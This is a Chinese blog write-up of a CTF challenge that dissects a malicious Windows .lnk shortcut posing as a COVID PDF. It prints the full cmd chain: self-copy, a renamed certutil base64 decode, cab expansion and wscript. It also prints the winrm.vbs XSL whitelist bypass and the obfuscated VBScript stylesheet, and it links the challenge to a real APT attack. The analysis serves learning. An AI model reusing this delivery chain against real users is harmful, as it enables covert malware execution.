初探.lnk木马

原创文章,未经许可严禁转载

Author:ex@m1ne2

MS Windows Shortcut

Introduction

中文名就是「快捷方式」,在Windows下创建快捷方式的方法主要有两种:

  1. 右键点击可执行文件,点击创建快捷方式(S)

    image-20200912185023221
  2. 按住Alt,拖动可执行文件

这种后缀名为 .lnk 的文件格式本质只是一个“连接”,它会指向一个位置,可以是可执行文件或者文件夹;我们用Windows自带的计算器 calc.exe 创建一个 .lnk,查看它的属性:

image-20200912202259933

左图中,它显示的文件类型是快捷方式(.lnk);右图中,是 .lnk 的特有的选项卡,主要有:

  • 文件类型

    由于是指向 calc.exe 的,因此类型是应用程序;倘若是为文件夹创建的 .lnk,则类型会是文件夹

    此外,留意一下软链接.lnk 的区别

    个人觉得在效果上,.lnk 要优于软链接,.lnk 是能够直接跳转到指向的文件夹的,但软链接却是像创建了一个副本

  • 目标位置

    就是指向的可执行文件或文件夹的所在的目录

  • 目标(T)

    就是 .lnk 指向的位置,双击 .lnk 时等价于执行目标中的指令(上边右图所示,就是执行了 C:\Windows\System32\calc.exe

.lnk 作为快捷方式,与软链接不同,它允许自定义参数、自定义图标,这也导致 .lnk 被许多黑客精心构造参数、图标后,变成了欺骗受害者执行恶意程序的利器

此外,.lnk 文件的后缀 .lnk 即使勾选了「显示已知后缀名」也会自动隐藏,这也造就了它的伪装能力

MITRE ATT&CK将这种通过 .lnk 的攻击战术称为Shortcut Modification(T1023)


How to learn Format

参考:https://wemp.app/posts/a511b736-b853-49ad-b80b-44d0c36d53c0

对于 .lnk 文件格式的学习,我们可以借助010 Editor的模板来分析

值得一提的是,Windows的资源管理器经常将 .lnk 解析为它执行的目标,这就导致用010 Editor打开 calc.exe.lnk,会发现它打开的其实就是 calc.exe

image-20200913084021241

我在010 Editor的官方文档上查阅了一下,发现:

image-20200913084232543

在很古老的版本中就修复了这个Bug,按理说现在用010 Editor打开 .lnk,不应该跳转到其指向的目标,但我无论如何操作也不行

现在一种解决方法是直接使用命令行启动010 Editor,例如:

1
"C:\Program Files\010 Editor\010Editor.exe" calc.exe.lnk

这样打开的就是 calc.exe.lnk,而不是 calc.exe,就能够用010 Editor的模板进行解析了

参考网上的文章,Hex Editor也能够直接打开 .lnk,但UltraEdit却会打开其指向的目标


Shortcut Modification

fakePDF

下面通过一道CTF题目来引申出最新的LNK攻击方法,这道题目源自2020华为HWS选拔赛 [fakePDF]

链接:https://pan.baidu.com/s/1lSRYGzQWO-1wY2j5biBW4Q
提取码:Exam

前排提示,文件无危害,但分析该文件最好在Windows虚拟机中进行,并且加入Windows Defender白名单中,否则压缩包中的文件经常会被当作木马病毒删掉

Write-up

下载得到 2008145f360c062d587.zip,解压发现只有一个 20200308-sitrep-48-covid-19.pdf,如果双击打开.pdf,首先会闪过一个Cmd窗口,然后正常显示出一个PDF文件

实际在这个过程中,LNK攻击已经生效

查看 20200308-sitrep-48-covid-19.pdf 的属性,发现是 .lnk 文件,并且指向的目标是 cmd.exe,携带许多参数:

image-20200913161142683

注意,.lnk 文件在属性卡中显示的最大长度是260,超过该长度后将不可见,但命令行参数的最大长度是4096个字符

也就是说上面的 目标(T) 是残缺的,我们使用010 Editor打开,在COMMAND_LINE_ARGUMENTS字段可以找到完整的参数:

image-20200913161632474
1
/c copy "20200308-sitrep-48-covid-19.pdf.lnk" %tmp%\\g4ZokyumBB2gDn.tmp /y&for /r C:\\Windows\\System32\\ %i in (*ertu*.exe) do copy %i %tmp%\\msoia.exe /y&findstr.exe "TVNDRgAAAA" %tmp%\\g4ZokyumBB2gDn.tmp>%tmp%\\cSi1r0uywDNvDu.tmp&%tmp%\\msoia.exe -decode %tmp%\\cSi1r0uywDNvDu.tmp %tmp%\\oGhPGUDC03tURV.tmp&expand %tmp%\\oGhPGUDC03tURV.tmp -F:* %tmp% &wscript %tmp%\\9sOXN6Ltf0afe7.js

观察可以发现,它其实是用 & 将多条指令连接起来,共同构成了上面的字符串;于是我们按 & 符将它们分开:

1
2
3
4
5
6
7
8
9
10
11
/c copy "20200308-sitrep-48-covid-19.pdf.lnk" %tmp%\\g4ZokyumBB2gDn.tmp /y
&
for /r C:\\Windows\\System32\\ %i in (*ertu*.exe) do copy %i %tmp%\\msoia.exe /y
&
findstr.exe "TVNDRgAAAA" %tmp%\\g4ZokyumBB2gDn.tmp>%tmp%\\cSi1r0uywDNvDu.tmp
&
%tmp%\\msoia.exe -decode %tmp%\\cSi1r0uywDNvDu.tmp %tmp%\\oGhPGUDC03tURV.tmp
&
expand %tmp%\\oGhPGUDC03tURV.tmp -F:* %tmp%
&
wscript %tmp%\\9sOXN6Ltf0afe7.js

上述的参数都是被调用的 %SystemRoot%\system32\cmd.exe 的参数,因此上面的指令其实都是在Cmd窗口中执行的

我们来逐一解析:

1
/c copy "20200308-sitrep-48-covid-19.pdf.lnk" %tmp%\\g4ZokyumBB2gDn.tmp /y

查阅资料可知,/c 参数的作用是当执行完所有命令后,直接关闭Cmd窗口

然后调用了 copy 命令,将我们的木马文件 20200308-sitrep-48-covid-19.pdf.lnk 复制到系统路径 %tmp% 中,并重命名为 g4ZokyumBB2gDn.tmp

其中 %tmp% 具体是指路径 C:\Users\xxx\AppData\Local\Temp

查阅资料可知,复制时有可能会出现同名文件,这时会提示「是否直接覆盖」,/y 参数能够取消掉这个提示,直接覆盖;也就是静默复制

1
for /r C:\\Windows\\System32\\ %i in (*ertu*.exe) do copy %i %tmp%\\msoia.exe /y

使用 for 循环进行遍历,并且是递归遍历( /r ),匹配到 *ertu*.exe,并将匹配到的所有结果都静默复制到 %tmp% 中,重命名为 msoia.exe

实际上,在 C:\\Windows\\System32 目录下能够匹配 *ertu*.exe 的只有一个程序:certutil.exe,该程序通常用于证书的加密、解密;也就是说,上面的语句其实就是将 certutil.exe 复制到 %tmp% 下,并重命名为 msoia.exe

之所以采用这种别扭的方法,就是因为木马病毒需要绕过安全检测

1
findstr.exe "TVNDRgAAAA" %tmp%\\g4ZokyumBB2gDn.tmp>%tmp%\\cSi1r0uywDNvDu.tmp

使用 findstr.exe 检索 g4ZokyumBB2gDn.tmp 中以 TVNDRgAAAA 开头的字符串,并将检索结果重定向到文件 cSi1r0uywDNvDu.tmp

我们知道这个 g4ZokyumBB2gDn.tmp 其实就是之前复制过来的 20200308-sitrep-48-covid-19.pdf.lnk,因此我们可以手动来获取 findstr.exe 的结果:

image-20200913163800121
1
%tmp%\\msoia.exe -decode %tmp%\\cSi1r0uywDNvDu.tmp %tmp%\\oGhPGUDC03tURV.tmp

这次它调用了 msoia.exe 程序,并设置了 -decode 参数

由于 msoia.exe 其实就是 certutil.exe,查阅一下资料,发现 certutil.exe 只设置 -decode 参数就是在进行Base64解码:

image-20200913164042146

于是我们知道,上面的指令就是将之前获得的字符串Base64解码,然后输出到 oGhPGUDC03tURV.tmp 文件中;我们手动对之前获得的 output.txt 进行Base64解码:

image-20200913164746379

陌生的 MSCF 文件头,查阅可知这是 .cab 文件:

image-20200913165010007

.zip.rar 等格式不同,.cab 是一种Windows自带的压缩归档格式,在计算机中没有安装 .zip.rar 等压缩程序时,.cab 是唯一支持的压缩格式

1
expand %tmp%\\oGhPGUDC03tURV.tmp -F:* %tmp%

这次是 expand 指令,查阅资料可知,它就是用于对 .cab 文件进行解压的:

image-20200913165425543

于是我们将之前Base64解码获得的 .cab 文件手动进行解码,发现获得了3个文件:

image-20200913165659464
1
wscript %tmp%\\9sOXN6Ltf0afe7.js

最后一步,我们从 .cab 文件中导出的 9sOXN6Ltf0afe7.js 其实就是恶意攻击代码,而 wscript 指令就是运行该代码,从而完成攻击


当然这只是一道CTF题,原本的恶意攻击代码已经被换成了获取flag的代码,我们来进一步分析来获取flag

打开 9sOXN6Ltf0afe7.js,其内容如下:

1
2
3
4
5
6
7
8
9
10
var e7926b8de13327f8e703624e = new ActiveXObject("WScript.Shell");
e7926b8de13327f8e703624e.Run ("
cmd /c mkdir %tmp%\\cscript.exe
& for /r C:\\Windows\\System32\\ %m in (cscr*.exe)
do copy %m %tmp%\\cscript.exe\\msproof.exe /y
& move /Y %tmp%\\cSi1r0uywDNvDu.tmp %tmp%\\cscript.exe\\WsmPty.xsl
& %tmp%\\cscript.exe\\msproof.exe //nologo %windir%\\System32\\winrm.vbs get wmicimv2/Win32_Process?Handle=4 -format:pretty
& del \"%tmp%\\cscript.exe\\WsmPty.xsl\" /f /q
& \"%tmp%\\20200308-sitrep-48-covid-19.pdf\"
",0);

相似的步骤,上面代码中首先调用了 wscript 指令,然后传入了诸多参数,我们可以像之前那样去分析它

1
2
3
4
5
6
cmd /c mkdir %tmp%\\cscript.exe
& for /r C:\\Windows\\System32\\ %m in (cscr*.exe)
do copy %m %tmp%\\cscript.exe\\msproof.exe /y
& move /Y %tmp%\\cSi1r0uywDNvDu.tmp %tmp%\\cscript.exe\\WsmPty.xsl
& %tmp%\\cscript.exe\\msproof.exe //nologo %windir%\\System32\\winrm.vbs get wmicimv2/Win32_Process?Handle=4 -format:pretty
& del \"%tmp%\\cscript.exe\\WsmPty.xsl\" /f /q

上面代码中,首先打开Cmd,然后在 %tmp% 下新建了一个名为 cscript.exe 的文件夹,并且将匹配到 cscr*.exe 的程序静默复制到该文件夹中,并重命名为 msproof.exe

而匹配 cscr*.exe 的程序只有 cscript.exe,它与 wscript.exe 类似,都是运行脚本的程序

随后将 .cab 解压出来的 cSi1r0uywDNvDu.tmp 复制到 cscript.exe 文件夹中,并重命名为 WsmPty.xsl;随后调用了被重命名为 msproof.execscript.exe,并且设置了 //nologo 参数,查阅资料可知,它的作用是「在运行时不显示执行标题」

1
%tmp%\\cscript.exe\\msproof.exe //nologo %windir%\\System32\\winrm.vbs get wmicimv2/Win32_Process?Handle=4 -format:pretty

上面这一行的后部分并不好理解,参考文章:https://xz.aliyun.com/t/2444,这是一种攻击方式,利用winrm.vbs绕过应用程序白名单,执行任意未签名代码

参考:https://zhuanlan.kanxue.com/article-10854.htm

“为了更好地执行这段VBS脚本,攻击者使用了白名单文件 winrm.vbs。该脚本为Windows自带,并具有Windows的签名,可执行其它XSL脚本。当接收到参数 -format:pretty-format:text 时,winrm.vbs 会在 cscript.exe 所在的目录下寻找并执行名为 WsmPty.xslWsmtxt.xsl 的XSL脚本”

总的来说就是,真正的攻击代码藏在 cSi1r0uywDNvDu.tmp 中,但想要直接执行,势必会遭到阻拦,采用上面提到的这种方法,令 cSi1r0uywDNvDu.tmp 重命名为 WsmPty.xsl 后能够绕过这种限制,从而成功执行写在 cSi1r0uywDNvDu.tmp 中的恶意代码

执行完恶意代码后,通过 del 指令对 WsmPty.xsl 进行删除,/f 参数表示「强制删除只读文件」、/q 参数表示「安静模式,删除全局通配符时不要求确认」

1
\"%tmp%\\20200308-sitrep-48-covid-19.pdf\

最后的最后,完成了上述操作后,才将真正无害的 .pdf 文件打开;受害者在双击打开伪装成PDF的 .lnk 后,中间就是执行了这一系列的操作,最后将真正的PDF呈现给受害者


打开 cSi1r0uywDNvDu.tmp,内容为:

1
2
3
4
5
6
7
8
9
10
11
<?xml version='1.0'?>
<stylesheet
xmlns="http://www.w3.org/1999/XSL/Transform" xmlns:ms="urn:schemas-microsoft-com:xslt"
xmlns:user="placeholder"
version="1.0">
<output method="text"/>
<ms:script implements-prefix="user" language="VBScript">
<![CDATA[
rBOH7OLTCVxzkH=HrtvBsRh3gNUbe("676d60667a64333665326564333665326564333665326536653265643336656564333665327c"):execute(rBOH7OLTCVxzkH):function HrtvBsRh3gNUbe(bhhz6HalbOkrki):for rBOH7OLTCVxzkH=1 to len(bhhz6HalbOkrki)step 2:HrtvBsRh3gNUbe=HrtvBsRh3gNUbe&chr(asc(chr("&h"&mid(bhhz6HalbOkrki,rBOH7OLTCVxzkH,2)))xor 1):next:end function:
]]> </ms:script>
</stylesheet>

同样是对比 https://xz.aliyun.com/t/2444 文章中的例子,在 <![CDATA[ ... ]]> 处就是恶意代码,它采用VBScript语言

分析这段VBScript代码,它从字符串 676d60667a64333665326564333665326564333665326536653265643336656564333665327c 中依次取出两个字符,处理为十六进制数,然后与 1 进行异或,最后转ASCII字符

我们用Python模拟一下就能获得flag:

image-20200913173820538

Mark

第一次接触到这种模拟木马病毒的题目,因此踩了不少坑

最大的坑就是杀毒软件了

  1. 知道是 .lnk 后,由于只是CTF题目,就直接点击 20200308-sitrep-48-covid-19.pdf.lnk 运行,然后跟踪它的执行过程,获得中间的重要文件

    结果卡巴斯基自动将文件进行了篡改,在执行到 findstr.exe "TVNDRgAAAA" 这一步时,无论如何也无法获得输出结果;迫不得已在虚拟机中将文件加入了Windows Defender白名单,然后直接运行,才成功复现

  2. 卡巴斯基会自动删除检测到的可能的木马病毒文件

    我在一开始想复现这道题目的时候发现我文件没了...后来才在卡巴斯基的隔离区才把文件找回来

    image-20200913175108595

参考文章:

此外,首次接触到了现实世界中木马病毒的一种执行过程,主要感触有:

  • 安静

    无论是「cmd.exe/c 参数」、「copy 指令的 /y 参数」、「del/f/q 参数」等,都是为了尽可能地不引起受害者注意,留足更多的时间去执行攻击

  • 混淆

    类似「使用 for 和通配符(如 (cscr*.exe))进行匹配」的操作看似冗余,其实是为了躲过安全检测;更复杂的病毒还会使用更复杂的混淆手段,比如:一个.NET病毒的分析过程


APT Organization - Higaisa

参考:

事实上这道CTF题目是修改自一次真实的LNK攻击的

2020年5月29日,腾讯研究人员发现朝鲜的APT组织Higaisa使用了一个负责创建多阶段攻击的恶意 .lnk 文件,其中包含有许多恶意脚本、Payload和诱饵PDF文档

.lnk 文件的攻击过程前半步骤与上面介绍的相似,通过使用 findstr.exe.lnk 中的Base64字符串提取出来,然后使用 certutil.exe 解码为 .cab 文件,再用 expand.exe 解压,获得隐藏的文件

真正的木马文件中,解压 .cab 会获得:

image-20200913195858799

对比前面CTF题目的分析,34fDFkfSD38.js 就是被调用的JS脚本,而真正的恶意代码应该在 66DF3DFG.tmp 中;与前面通过winrm.vbs绕过白名单的方法不同,这次的 .cab 中附带了一个加载器 svchast.exe,用以加载存储在 66DF3DFG.tmp 中的Shellcode,执行后的Shellcode还会跟远程服务器进行交互,实现攻击